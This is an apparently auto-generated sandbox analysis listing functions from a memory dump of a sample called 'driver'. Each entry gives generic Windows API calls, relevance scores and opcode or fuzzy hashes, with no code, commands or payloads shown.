Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: a9e2ea5c6888a74a5ceb93a95b21f745da12d0093212acb06476bb3f9dd49d7a
Instruction ID: 96dcd9c4c74934defe820ca016cb872f967f3f64065adbf0dabab79976313d09
Opcode Fuzzy Hash: a9e2ea5c6888a74a5ceb93a95b21f745da12d0093212acb06476bb3f9dd49d7a
Instruction Fuzzy Hash: 4ED0C9322190008AEB354E2A484A55768469781327B2AC6B2E411FA2FAD739DE82F649

Function 00403B38 Relevance: 1.5, APIs: 1, Instructions: 9fileCOMMON

Download Yara Rule

APIs

SetEndOfFile.KERNEL32(?,?,00403AF0,?,?), ref: 00403B3E

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID: File
String ID:
API String ID: 749574446-0
Opcode ID: 295861d750375a449611f31d59331f8290f09d0d5638068b3129f9412e5b4fd6
Instruction ID: 4459ad86db906234b6f8543fbd840f9e7d39e167ca56a06d89b8afa56578fac1
Opcode Fuzzy Hash: 295861d750375a449611f31d59331f8290f09d0d5638068b3129f9412e5b4fd6
Instruction Fuzzy Hash: AFB01272311100877B0129738DC3515568DBA44121308C061BC04C8022D70ACC603020

Function 0043B704 Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

GlobalMemoryStatus.KERNEL32 ref: 0043B70F

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: 299d11eaec76b9466c4cc5e28fc6bf4b8dcd1e149d3e92555f0c12d2c7d429a2
Instruction ID: f413bd284f824af415c53f5297e6ff2c78c627526e60ce4ca031673f5b51ac77
Opcode Fuzzy Hash: 299d11eaec76b9466c4cc5e28fc6bf4b8dcd1e149d3e92555f0c12d2c7d429a2
Instruction Fuzzy Hash: DAB092304046006BE210AB198842B5EB290AB84268F848608B8E8563C2EA3D5264878B

Function 00441A44 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32(00441D17,?,00440F05,00441D17,?,?,00440F1C,00000000,00000000,00441D17), ref: 00441A4B

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 82cbba9f795b21e837e00f58920276255396f527bb604faf2ab55e76b067c7b7
Instruction ID: 70cc31fe1519789704043cdce041419b9dd17bf4187dfd6a70dd854e047b92df
Opcode Fuzzy Hash: 82cbba9f795b21e837e00f58920276255396f527bb604faf2ab55e76b067c7b7
Instruction Fuzzy Hash: B0A0027655830C67AE10BEEED846C9A77DC5A08E56B404416FE048B702DE79FE8046E9

Function 00403F58 Relevance: 1.4, Strings: 1, Instructions: 143COMMON

Download Yara Rule

Strings

%s, xrefs: 004040AE

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID:
String ID: %s
API String ID: 0-3874713491
Opcode ID: f2cb90a0a5e2d3ddc2e0c161d2da7edd8ea9ddf631dec10959c38ea75f94b5da
Instruction ID: ca0b255dd5892f103d3df91a5e6c2a13aa809f7cc5fa3f02f6ab703885413e88
Opcode Fuzzy Hash: f2cb90a0a5e2d3ddc2e0c161d2da7edd8ea9ddf631dec10959c38ea75f94b5da
Instruction Fuzzy Hash: E651A1B0D002499ADB10DBA5C8447EEBBB5AF95305F1480BBDA40B73C1D7794E86CB99

Function 0043B3C8 Relevance: 1.3, Strings: 1, Instructions: 88COMMON

Download Yara Rule

Strings

0kD, xrefs: 0043B3F0, 0043B3FD, 0043B43B, 0043B476

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID:
String ID: 0kD
API String ID: 0-747768679
Opcode ID: b4674f876a120605bf270b049a337c0bc4ec0d2d3b7d3f23f2ae76f2c8408aea
Instruction ID: da21c4ed050fcdacb6c14ee2865b525d80690641e752e000ed7971c8b4c62abe
Opcode Fuzzy Hash: b4674f876a120605bf270b049a337c0bc4ec0d2d3b7d3f23f2ae76f2c8408aea
Instruction Fuzzy Hash: E5310EB56006118FC309CF14D990A11FBA2FF9A324729C3A9D9198B3E6D735EC81CB89

Function 00403514 Relevance: 1.3, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,00000000,00449284,00000001,00403D82,?,00000002,00448C48,00433DE9,?,00448C48,00433AED,00000000,?,00403AA8,?), ref: 0040353C

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: e8e24076be3caef466fec9a35bf5f7aeb0d936cf63980a682188003264a85de2
Instruction ID: f4165267c49926bdf8c425745df94be49d9d080085b9b4dd57279aaf58034d05
Opcode Fuzzy Hash: e8e24076be3caef466fec9a35bf5f7aeb0d936cf63980a682188003264a85de2
Instruction Fuzzy Hash: EB019BB0201B01BEE7309E3D8C44353BBD4AB45366F148A3FD8E6A32E0D378A945CB55

Function 0043ABB0 Relevance: 1.3, APIs: 1, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,00001000,00001000,00000004,?,?,02D00000,0043B281), ref: 0043ABCA

Part of subcall function 0043ABFC: VirtualFree.KERNEL32(?,?,00004000,0043B343), ref: 0043AC03

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: e371c889e9df4b82e4f01cc5b0699d3b6a6a0b4157c9f60cb42008905165dff7
Instruction ID: 28bcb04f0457f68c76682d1b40e84fedbf56841a2c13e0404209e956c1b1b99c
Opcode Fuzzy Hash: e371c889e9df4b82e4f01cc5b0699d3b6a6a0b4157c9f60cb42008905165dff7
Instruction Fuzzy Hash: 0FE04F72B8026123E632142E5C85B97848A4B8C7E6F1951767BC4EA388D99DEC954099

Function 00437AD8 Relevance: 1.3, Strings: 1, Instructions: 28COMMON

Download Yara Rule

Strings

MZP, xrefs: 00437AE0

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID:
String ID: MZP
API String ID: 0-2889622443
Opcode ID: 20a16cba0d9bcc5a3f3f62a4f9a6f3d39f3a5846fa67696b481da96eed2385e1
Instruction ID: 4c775829592d47e153e90eb6f16fac50b3d624085669bbea9dd324f25c5e1708
Opcode Fuzzy Hash: 20a16cba0d9bcc5a3f3f62a4f9a6f3d39f3a5846fa67696b481da96eed2385e1
Instruction Fuzzy Hash: 41E02B50708B1142D711AB3F1C8274741958F8C349F08E43FB848CB30BDABC8C005A69

Function 0043ABFC Relevance: 1.3, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,?,00004000,0043B343), ref: 0043AC03

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: f23964147c4317ee1d4755d339e98c999bfc8d46951b6f40a30d912a2ca359c0
Instruction ID: 8f00b51455625eda0eed7b2ddbb7a15c579750c9eef164029d51f51d8be08c17
Opcode Fuzzy Hash: f23964147c4317ee1d4755d339e98c999bfc8d46951b6f40a30d912a2ca359c0
Instruction Fuzzy Hash: 1CB012D02E050422FD105B311C15B270058B3C0F02FE424D53200D15C0C86DC900902C

Function 0043854C Relevance: .2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e7524a3830432f919ba47a2e9817902062f613d2ccd8885e8054fff1706b872
Instruction ID: 04ea4296141ddd568b5e36fa65614d5e450240edb1229a3485f4574b87ca8bbe
Opcode Fuzzy Hash: 6e7524a3830432f919ba47a2e9817902062f613d2ccd8885e8054fff1706b872
Instruction Fuzzy Hash: 0351B7727141614BDB148E28C8D1625BBD2EFC9314F19C6BDE899CF38AD938DC06CB90

Function 0042B1CC Relevance: .2, Instructions: 156COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d12e9b3e522e1a889a2f1461187ddbab3bb9002c90ff242499a04958ba45c115
Instruction ID: 1c31bb3ff659de7d6612539b513fed28ec1484e1f46e7115fd56b983a70d74ba
Opcode Fuzzy Hash: d12e9b3e522e1a889a2f1461187ddbab3bb9002c90ff242499a04958ba45c115
Instruction Fuzzy Hash: F9518171B00224CBCF14DE68D9C47AA77A1EF84314F6842BADC199B38AD7399D41CBD9

Function 0042B3B4 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID: ErrorLast$FileWrite
String ID:
API String ID: 603252729-0
Opcode ID: bbda58a769465bbc3868d87607224a5e6bbcfddd0c8d0ea6b1359b50b5c070cf
Instruction ID: 61f2dc88081507546c1089a6d384438cf633fdda2f14b4dff192c58481b4a6c2
Opcode Fuzzy Hash: bbda58a769465bbc3868d87607224a5e6bbcfddd0c8d0ea6b1359b50b5c070cf
Instruction Fuzzy Hash: 86318670B042609BDB14EF1AE8C575A7BA9EF44314F5841BBE8058F29BDB74CD81CB98

Function 00430D46 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID: LoadString
String ID:
API String ID: 2948472770-0
Opcode ID: e24561253897a7daae2fdcb678fcf6272fd63b4d40e19a95741f9362efd8df00
Instruction ID: 53bd1d11b3f938579b08c74910fd4fcbaad7ad8f952fd880c10c36dc04ea63f3
Opcode Fuzzy Hash: e24561253897a7daae2fdcb678fcf6272fd63b4d40e19a95741f9362efd8df00
Instruction Fuzzy Hash: 44317031A046049BEF24A765E8927EB77949B08305F405D7FE84957287DF3CA8C48B7D

Function 00403838 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: eac0f101946948d5f46552c7da96ad6c5e5e3c92f0491d035173aa21ff7b2712
Instruction ID: 45601e7e832c384f7a969369c271d0818429a2f1661e05a2e34da91293d66bd7
Opcode Fuzzy Hash: eac0f101946948d5f46552c7da96ad6c5e5e3c92f0491d035173aa21ff7b2712
Instruction Fuzzy Hash: 6421E671F046049BDB14DE6D88843AEBBE9AF84315F1486BBA454A73C6C7BC8F458784

Function 00431380 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dec2a4be3f08e7c27ed22471426066ff0f54172a41e099866c011bb3cfad83ed
Instruction ID: a5137e0aee458948e4020ff43813701d0d01924df36d1d6f2f1ff938bdccc3c3
Opcode Fuzzy Hash: dec2a4be3f08e7c27ed22471426066ff0f54172a41e099866c011bb3cfad83ed
Instruction Fuzzy Hash: B721A5343005046AD704EA7AC9467EEF39ABF88304F54853FA818D26C6DBBD9A168696

Function 0040E8CC Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96bc9c93b9dad51c71c5d45c55ca59b20e988fcdb43c772f6a9732a35bcfa879
Instruction ID: de320097c1a9b311da09f47ab39f91cef4779e5937f02628647fad47707c4561
Opcode Fuzzy Hash: 96bc9c93b9dad51c71c5d45c55ca59b20e988fcdb43c772f6a9732a35bcfa879
Instruction Fuzzy Hash: 77118172B042009FCB44DE2ECCC165A77E5EF88310B2485BAE804EB38ADB75ED118794

Function 0040F798 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 874a9eecb7737b57d4668dd3f226b7f59646fba9ae2dc0420c9d0a8699052c8d
Instruction ID: 255e584c7186cd85c9af5383caf37df94b5da4f1e78853719f843dc2e5adc6d1
Opcode Fuzzy Hash: 874a9eecb7737b57d4668dd3f226b7f59646fba9ae2dc0420c9d0a8699052c8d
Instruction Fuzzy Hash: E611EB626041405AEB30B73A8CC0BD726C45F96324F24477FE929EB7C6DB7C584DC26A

Function 0043A57C Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4fe223e1f5972395b031496f0e9d4704ed4edbc5754c5e806a653905e232b61
Instruction ID: 8297425b68668b85c921e27f1b576d8392f5b4d354d956cbc649d99396de610a
Opcode Fuzzy Hash: f4fe223e1f5972395b031496f0e9d4704ed4edbc5754c5e806a653905e232b61
Instruction Fuzzy Hash: 7801D471680305BBE7109B559C82BEE77B8EB4D715F202027FE45A62C1D7B89850C7AF

Function 00412C48 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1fef7987b817ab93b524429b66270e50fead1785cb098f37acdfbd50502ae1b
Instruction ID: fe700c0ab4952e1483e117b6665115ac3aea3f73736c80586d893187e0135f29
Opcode Fuzzy Hash: a1fef7987b817ab93b524429b66270e50fead1785cb098f37acdfbd50502ae1b
Instruction Fuzzy Hash: 75015E31A0025647EF39291847843EE61856B52355F18817BDE48CB34BEAEC8CEAE3D9

Function 00438DF8 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49e2cc261df6c5937bc93ed585a437ece5e2ee56ba448bf493b9fb2d54cd48d6
Instruction ID: abea61cdd4fb34f9c274077297739f2d9a42f02526000cafa8cd403c5ee4efcb
Opcode Fuzzy Hash: 49e2cc261df6c5937bc93ed585a437ece5e2ee56ba448bf493b9fb2d54cd48d6
